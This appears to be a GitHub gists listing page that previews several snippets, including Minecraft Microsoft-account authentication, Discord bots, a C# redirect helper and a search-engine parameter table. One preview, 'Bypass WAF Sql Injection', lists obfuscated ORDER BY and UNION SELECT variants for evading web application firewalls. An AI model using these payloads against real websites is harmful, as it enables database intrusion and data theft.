Skip to content

Instantly share code, notes, and snippets.

View MachineKillin's full-sized avatar
:shipit:

Killin MachineKillin

:shipit:
View GitHub Profile
@an0ndev
an0ndev / yoink_token.py
Created June 13, 2021 00:46
pyCraft Microsoft account authentication
# yoink_token.py: pyCraft-compatible Microsoft account authentication
# use the following function:
# def get_mc_auth_token (*, force_use_new_msft_account: bool = False, force_regenerate_mc_client_token: bool = False) -> minecraft.authentication.AuthenticationToken:
# and DO NOT forget to fill in the constants below
# based on https://wiki.vg/Microsoft_Authentication_Scheme and https://wiki.vg/Authentication (for client token desc)
# YOU HAVE TO FILL THESE IN WITH AN AZURE APP
# follow https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app
client_id = "FILL_THIS_IN" # uuid
@TheNathanSpace
TheNathanSpace / README.md
Last active October 8, 2021 18:10
Hypixel Online Alert Bot

This bot sends a message to a Discord channel when someone connects or disconnects to Hypixel. This bot waits 5 seconds between cycles. If you have more than 10 players in your player_dict, you'll start running into Hypixel API trouble, since you can't make more than 120 requests per minute.

You'll need to install the PyPixel package from here.

You'll need to create a Discord bot. Be sure to put all the relevant secrets in secrets.py. Set the channel in line 29 of api_manager.py.

@Apfelin
Apfelin / STTBot.py
Last active June 9, 2025 18:13
Discord speech-to-text bot, made with discord.py by Rapptz and voice additions by imayhaveborkedit. Uses wit.ai for speech recognition
import discord
import asyncio
import speech_recognition as sr
from threading import Thread
# bot token and wit.ai api key
TOKEN = ""
WIT_AI_KEY = ""
# we need a sink for the listen function, so we just define our own
@zetc0de
zetc0de / sqli-bypass-waf.txt
Created June 26, 2018 17:52
Bypass WAF Sql Injection
[~] order by [~]
/**/ORDER/**/BY/**/
/*!order*/+/*!by*/
/*!ORDER BY*/
/*!50000ORDER BY*/
/*!50000ORDER*//**//*!50000BY*/
/*!12345ORDER*/+/*!BY*/
[~] UNION select [~]
@Delaire
Delaire / CoreTools.cs
Last active June 17, 2025 08:49
UWP, C# - Retrieve the redirect url using HttpClient from the Headers of the Response - [HttpClient,C#]
public static class CoreTools
{
public static async Task<string> GetRedirectedUrl(string url)
{
//this allows you to set the settings so that we can get the redirect url
var handler = new HttpClientHandler()
{
AllowAutoRedirect = false
};
string redirectedUrl = null;
@daseme
daseme / searchengines.py
Created July 3, 2012 01:02
Search Engine Dictionary - Listing of common search engines and their query parameters for python consumption
"""
based on:
https://github.com/spiros/URI-ParseSearchString
converted for easier use in python.
update are noted with comments
"""
SE_LOOKUPS = {
'answers.yahoo.com' : { 'name': 'Yahoo Answers', 'q':'p' },